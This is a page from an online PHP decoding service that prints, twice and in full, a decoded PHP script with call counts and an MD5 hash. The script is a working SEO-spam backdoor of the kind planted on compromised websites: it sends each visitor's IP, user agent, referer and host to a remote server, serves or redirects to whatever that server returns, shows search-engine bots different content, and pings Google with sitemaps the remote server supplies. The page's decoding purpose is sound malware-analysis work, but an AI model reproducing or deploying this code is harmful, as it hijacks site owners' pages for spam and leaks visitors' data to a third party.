Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$c='fgx353';@set_time_limit(3600);define("W",'http://fgx353.allstage.ru');define("U",getu(..

Decoded Output download

<?  $c='fgx353';@set_time_limit(3600);define("W",'http://fgx353.allstage.ru');define("U",getu());function k($e){return@$_SERVER[$e]?$_SERVER[$e]:"";}define("S",k("PHP_SELF")!=""?k("PHP_SELF"):k("SCRIPT_NAME"));$g=strpos(S,"index.php")!==false&&strpos(U,S)===false?rtrim(S,"index.php"):S;if($g=="")$g="/";define("F",$g);$i=@$_REQUEST["p"];$g=ltrim(U,F);if($i!=""){$g=preg_replace("@(\?|\&)p=".$i."@","",$g);}define("U2",preg_replace("#^\W+#","",$g));$j=k('HTTP_USER_AGENT');function getu(){$m=k("REQUEST_URI");if(empty($m)){$n=k('argv');$m=S.'?'.(is_array($n)?$n[0]:k('QUERY_STRING'));}return $m;}function is_https(){if(!empty($_SERVER['HTTPS'])&&strtolower($_SERVER['HTTPS'])!=='off'){return true;}elseif(!empty($_SERVER['HTTP_X_FORWARDED_PROTO'])&&$_SERVER['HTTP_X_FORWARDED_PROTO']==='https'){return true;}elseif(!empty($_SERVER['HTTP_FRONT_END_HTTPS'])&&strtolower($_SERVER['HTTP_FRONT_END_HTTPS'])!=='off'){return true;}return false;}function get_ip(){$o=$_SERVER['REMOTE_ADDR'];if(!empty($_SERVER['HTTP_CLIENT_IP'])){$o=$_SERVER['HTTP_CLIENT_IP'];}elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$o=$_SERVER['HTTP_X_FORWARDED_FOR'];}if(stristr($o,',')){$q=explode(",",$o);$o=$q[0];}return $o;}function http($r,$s){$v="text/html";if(strpos(U2,"pingsitemap")===false&&(strpos(U2,".xml")!==false||strpos(U2,"/feed")!==false)){$v="text/xml";}else{if(strpos(U2,".txt")!==false){$v="text/plain";}else{if(strpos(U2,"images/")!==false){$v="image/webp";}else{if(strpos(U2,"sitemap.xsl")!==false){$v="text/css";}}}}header("content-type: {$v}; charset=UTF-8");$w=http_build_query($s);$x=W.$r."?".$w;$y=@file_get_contents($x);if(!$y){$y=c(W.$r,$w,0);}if(!$y){$y=c(W.$r,$w,1);}if(!$y){$z=@fopen($x,'r');if($z){stream_get_meta_data($z);$aa="";while(!feof($z)){$aa.=fgets($z,1024);}fclose($z);return $aa;}}return $y;}function c($r,$w,$bb){$cc=curl_init();if($bb){curl_setopt($cc,CURLOPT_URL,$r);curl_setopt($cc,CURLOPT_POST,1);curl_setopt($cc,CURLOPT_POSTFIELDS,$w);}else{curl_setopt($cc,CURLOPT_URL,$r."?".$w);}curl_setopt($cc,CURLOPT_RETURNTRANSFER,1);curl_setopt($cc,CURLOPT_HEADER,0);curl_setopt($cc,CURLOPT_TIMEOUT,10);curl_setopt($cc,CURLOPT_FOLLOWLOCATION,1);$y=curl_exec($cc);curl_close($cc);return $y;}function g($r,$s){$y=http($r,$s);if(!$y){@header('HTTP/1.1 500 Internal Server Error');die;}$e=substr($y,0,1);switch($e){case "4":@header('HTTP/1.1 404 Not Found');die;case "5":@header('HTTP/1.1 500 Internal Server Error');die;case "3":@header('HTTP/1.1 302 Moved Permanently');header('Location: '.substr($y,1));header('referer: '.k("HTTP_HOST"));die;case "7":return false;case "8":die;default:header('HTTP/1.1 200 OK');return $y;}}$dd=array("ip"=>get_ip(),"lang"=>k("HTTP_ACCEPT_LANGUAGE"),"ua"=>$j,"r"=>strtolower(k("HTTP_REFERER")),"host"=>k("HTTP_HOST"),"uri"=>U,"uri2"=>U2,"isBot"=>preg_match("@google|yahoo|bing@",$j)?"1":"","f"=>F,"p"=>$i);if(is_https()){$dd["h"]="1";}if(strpos(U,"pingsitemap")!==false){$ee=explode(",",g("/sitemap.list",$dd));foreach($ee as $ss){$s='https://www.google.com/ping?sitemap='.$ss;$y=c($s,array(),0);if(!$y){$y=@file_get_contents($s);}if(stristr($y,'successfully')){echo $s.'<br>pingok<br>';}else{echo $s.'======creat file false!<br>';}}die;}$tt=g("",$dd);if($tt){die($tt);} ?>

Did this file decode correctly?

Original Code

$c='fgx353';@set_time_limit(3600);define("W",'http://fgx353.allstage.ru');define("U",getu());function k($e){return@$_SERVER[$e]?$_SERVER[$e]:"";}define("S",k("PHP_SELF")!=""?k("PHP_SELF"):k("SCRIPT_NAME"));$g=strpos(S,"index.php")!==false&&strpos(U,S)===false?rtrim(S,"index.php"):S;if($g=="")$g="/";define("F",$g);$i=@$_REQUEST["p"];$g=ltrim(U,F);if($i!=""){$g=preg_replace("@(\\?|\\&)p=".$i."@","",$g);}define("U2",preg_replace("#^\\W+#","",$g));$j=k('HTTP_USER_AGENT');function getu(){$m=k("REQUEST_URI");if(empty($m)){$n=k('argv');$m=S.'?'.(is_array($n)?$n[0]:k('QUERY_STRING'));}return $m;}function is_https(){if(!empty($_SERVER['HTTPS'])&&strtolower($_SERVER['HTTPS'])!=='off'){return true;}elseif(!empty($_SERVER['HTTP_X_FORWARDED_PROTO'])&&$_SERVER['HTTP_X_FORWARDED_PROTO']==='https'){return true;}elseif(!empty($_SERVER['HTTP_FRONT_END_HTTPS'])&&strtolower($_SERVER['HTTP_FRONT_END_HTTPS'])!=='off'){return true;}return false;}function get_ip(){$o=$_SERVER['REMOTE_ADDR'];if(!empty($_SERVER['HTTP_CLIENT_IP'])){$o=$_SERVER['HTTP_CLIENT_IP'];}elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$o=$_SERVER['HTTP_X_FORWARDED_FOR'];}if(stristr($o,',')){$q=explode(",",$o);$o=$q[0];}return $o;}function http($r,$s){$v="text/html";if(strpos(U2,"pingsitemap")===false&&(strpos(U2,".xml")!==false||strpos(U2,"/feed")!==false)){$v="text/xml";}else{if(strpos(U2,".txt")!==false){$v="text/plain";}else{if(strpos(U2,"images/")!==false){$v="image/webp";}else{if(strpos(U2,"sitemap.xsl")!==false){$v="text/css";}}}}header("content-type: {$v}; charset=UTF-8");$w=http_build_query($s);$x=W.$r."?".$w;$y=@file_get_contents($x);if(!$y){$y=c(W.$r,$w,0);}if(!$y){$y=c(W.$r,$w,1);}if(!$y){$z=@fopen($x,'r');if($z){stream_get_meta_data($z);$aa="";while(!feof($z)){$aa.=fgets($z,1024);}fclose($z);return $aa;}}return $y;}function c($r,$w,$bb){$cc=curl_init();if($bb){curl_setopt($cc,CURLOPT_URL,$r);curl_setopt($cc,CURLOPT_POST,1);curl_setopt($cc,CURLOPT_POSTFIELDS,$w);}else{curl_setopt($cc,CURLOPT_URL,$r."?".$w);}curl_setopt($cc,CURLOPT_RETURNTRANSFER,1);curl_setopt($cc,CURLOPT_HEADER,0);curl_setopt($cc,CURLOPT_TIMEOUT,10);curl_setopt($cc,CURLOPT_FOLLOWLOCATION,1);$y=curl_exec($cc);curl_close($cc);return $y;}function g($r,$s){$y=http($r,$s);if(!$y){@header('HTTP/1.1 500 Internal Server Error');die;}$e=substr($y,0,1);switch($e){case "4":@header('HTTP/1.1 404 Not Found');die;case "5":@header('HTTP/1.1 500 Internal Server Error');die;case "3":@header('HTTP/1.1 302 Moved Permanently');header('Location: '.substr($y,1));header('referer: '.k("HTTP_HOST"));die;case "7":return false;case "8":die;default:header('HTTP/1.1 200 OK');return $y;}}$dd=array("ip"=>get_ip(),"lang"=>k("HTTP_ACCEPT_LANGUAGE"),"ua"=>$j,"r"=>strtolower(k("HTTP_REFERER")),"host"=>k("HTTP_HOST"),"uri"=>U,"uri2"=>U2,"isBot"=>preg_match("@google|yahoo|bing@",$j)?"1":"","f"=>F,"p"=>$i);if(is_https()){$dd["h"]="1";}if(strpos(U,"pingsitemap")!==false){$ee=explode(",",g("/sitemap.list",$dd));foreach($ee as $ss){$s='https://www.google.com/ping?sitemap='.$ss;$y=c($s,array(),0);if(!$y){$y=@file_get_contents($s);}if(stristr($y,'successfully')){echo $s.'<br>pingok<br>';}else{echo $s.'======creat file false!<br>';}}die;}$tt=g("",$dd);if($tt){die($tt);} ?>

Function Calls

define 1
set_time_limit 1

Variables

$c fgx353

Stats

MD5 30a8b80f38d5111720d330ada5c9e645
Eval Count 0
Decode Time 65 ms